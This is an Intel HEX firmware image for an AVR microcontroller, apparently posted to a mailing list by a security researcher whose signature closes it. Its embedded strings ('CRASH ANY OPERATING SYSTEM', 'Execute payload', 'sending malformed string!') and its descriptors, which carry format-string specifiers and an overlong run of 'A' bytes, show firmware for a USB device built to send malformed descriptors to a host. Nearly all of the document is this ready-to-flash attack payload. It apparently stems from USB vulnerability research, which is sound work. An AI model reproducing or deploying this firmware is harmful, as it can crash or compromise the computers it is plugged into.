:101090006209A82EA81844C0853729F42F7EB22EE5  
:1010A0002AE030E025C0F22FF97FBF2E8F36C1F045  
:1010B00018F4883579F0B4C0803719F0883721F0FA  
:1010C000AFC02F2F2061B22EB4FE0DC08B2D8460D7  
:1010D000B82E09C024FF0AC09F2F9660B92E06C003  
:1010E00028E030E005C020E130E002C020E132E03D  
:1010F000F801B7FE07C060817181828193810C5F26  
:101100001F4F06C06081718180E090E00E5F1F4F2D  
:10111000A4010E946209A82EA818FB2DFF77BF2EFC  
:10112000B6FE0BC02B2D2E7FA51450F4B4FE0AC0C2  
:10113000B2FC08C02B2D2E7E05C07A2C2B2D03C0AF  
:101140007A2C01C0752C24FF0DC0FE01EA0DF11DA3  
:101150008081803311F4297E09C022FF06C0739478  
:10116000739404C0822F867809F0739423FD13C012  
:1011700020FF06C05A2C731418F4530C5718732C04  
:10118000731468F4B70180E290E02C870E94300964  
:1011900073942C85F5CF731410F4371801C0312CDB  
:1011A00024FF12C0B70180E390E02C870E94300931  
:1011B0002C8522FF17C021FF03C088E590E002C004  
:1011C00088E790E0B7010CC0822F867859F021FDA6  
:1011D00002C080E201C08BE227FD8DE2B70190E002  
:1011E0000E943009A51438F4B70180E390E00E9412  
:1011F00030095A94F7CFAA94F401EA0DF11D8081C9  
:10120000B70190E00E943009A110F5CF332009F416  
:1012100051CEB70180E290E00E9430093A94F6CFB7  
:10122000F7018681978102C08FEF9FEF2C96E2E154  
:101230000C94E209FC010590615070400110D8F750  
:10124000809590958E0F9F1F0895FC01615070400E  
:1012500001900110D8F7809590958E0F9F1F0895EB  
:101260000F931F93CF93DF93182F092FEB018B81DF  
:1012700081FD03C08FEF9FEF20C082FF10C04E8121  
:101280005F812C813D81421753077CF4E881F9810D  
:101290009F012F5F3F4F39832883108306C0E88565  
:1012A000F985812F0995892B29F72E813F812F5FA1  
:1012B0003F4F3F832E83812F902FDF91CF911F913E  
:1012C0000F910895FA01AA27283051F1203181F1B8  
:1012D000E8946F936E7F6E5F7F4F8F4F9F4FAF4F3E  
:1012E000B1E03ED0B4E03CD0670F781F891F9A1F51  
:1012F000A11D680F791F8A1F911DA11D6A0F711D05  
:10130000811D911DA11D20D009F468943F912AE010  
:10131000269F11243019305D3193DEF6CF010895F8  
:10132000462F4770405D4193B3E00FD0C9F7F6CF29  
:10133000462F4F70405D4A3318F0495D31FD4052F1  
:10134000419302D0A9F7EACFB4E0A6959795879587  
:1013500077956795BA95C9F7009761057105089566  
:101360009B01AC010A2E0694579547953795279512  
:10137000BA95C9F7620F731F841F951FA01D0895AA  
:10138000EE0FFF1F0590F491E02D09942F923F92EC  
:101390004F925F926F927F928F929F92AF92BF9285  
:1013A000CF92DF92EF92FF920F931F93CF93DF9331  
:1013B000CDB7DEB7CA1BDB0B0FB6F894DEBF0FBE8E  
:1013C000CDBF09942A88398848885F846E847D84DB  
:1013D0008C849B84AA84B984C884DF80EE80FD80DD  
:1013E0000C811B81AA81B981CE0FD11D0FB6F89453  
:0E13F000DEBF0FBECDBFED010895F894FFCF14  
:1013FE001201000200000040000000000001010286  
:10140E0000011201000200000040AD0BEFBE000112  
:10141E00010200012203420061006400200042002C  
:10142E004100420045002500780025007800250087  
:10143E006E00250070001803420041004400200099  
:10144E0043003000460046004500450021001201D1  
:10145E000002010000400D055702000101020301C8  
:10146E000902270001010400310705810304040C61  
:10147E000705010204000C0705820104000C070099  
:10148E0007000700202020202F205F5F5F5F2F20A6  
:10149E002F5F20205F5F5F5F205F5F5F5F5F2020B9  
:1014AE005F5F5F5F5F20202020202F205F5F5F2F18  
:1014BE002F202F5F285F295F5F5F5F2F202F5F5FD9  
:1014CE000A0D002020202F202F2020202F205F5FAC  
:1014DE00205C2F205F5F20602F205F5F205C2F201D  
:1014EE005F5F5F2F5F5F5F5F205C5F5F205C2F2021  
:1014FE005F5F2F202F205F5F5F2F202F2F5F2F0A20  
:10150E000D0020202F202F5F5F5F2F202F202F20F8  
:10151E002F202F5F2F202F202F5F2F20285F5F205F  
:10152E0020292F5F5F5F2F205F5F2F202F202F5FDF  
:10153E002F202F202F5F5F2F202C3C0A0D00202004  
:10154E005C5F5F5F5F2F5F2F202F5F2F5C5F5F2CD5  
:10155E005F2F5C5F5F5F5F2F5F5F5F5F2F202020DD  
:10156E0020202F5F5F5F5F2F5C5F5F2F5F2F5C5FC1  
:10157E005F5F2F5F2F7C5F7C0A0D00203C3C204379  
:10158E00485241534820414E59204F5045524154E4  
:10159E00494E472053595354454D203E3E0A0D00A7  
:1015AE000A3E3E20507265737320627574746F6EBE  
:1015BE0020746F207374617274206578656375741E  
:1015CE00696F6E2E2E2E0A0D005B44454255475D07  
:1015DE002045786563757465207061796C6F616400  
:1015EE0020300A0D005B44454255475D2009536586  
:1015FE006E6420436F6E66696775726174696F6E93  
:10160E0044657363726970746F720928696E6465DC  
:10161E00783A2569292E2E2E0D0A005B4445425537  
:10162E00475D200953656E6420496E74657266616C  
:10163E0063652044657363726970746F72092869FB  
:10164E006E746572666163653A2569292E2E2E0DBC  
:10165E000A005B44454255475D200953656E642080  
:10166E00456E64706F696E74204465736372697041  
:10167E00746F720928656E64706F696E743A2569AD  
:10168E00292E2E2E0D0A005B44454255475D203C07  
:10169E003C70616E6963206D6F64653F3E3E0D0A5E  
:1016AE00005B44454255475D2009203E3E20537461  
:1016BE0072696E672044657363726970746F72200D  
:1016CE0072657175657374202D2073656E64696E15  
:1016DE0067206D616C666F726D65642073747269DC  
:1016EE006E67212073657475702E7756616C756503  
:1016FE004C203D3D2025690D0A00C8034141414162  
:10170E0041414141414141414141414141414141BB  
:10171E0041414141414141414141414141414141AB  
:10172E00414141414141414141414141414141419B  
:10173E00414141414141414141414141414141418B  
:10174E00414141414141414141414141414141417B  
:10175E00414141414141414141414141414141416B  
:10176E00414141414141414141414141414141415B  
:10177E00414141414141414141414141414141414B  
:10178E00414141414141414141414141414141413B  
:10179E00414141414141414141414141414141412B  
:1017AE00414141414141414141414141414141411B  
:1017BE00414141414141414141414141414141410B  
:1017CE004141005B48455844554D505D0A0D00257A  
:0617DE003032582000002B  
:00000001FF  
  
--   
OpenSource Security Ralf Spenneberg http://www.os-s.de  
Am Bahnhof 3-5 48565 Steinfurt Germany  
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757  
`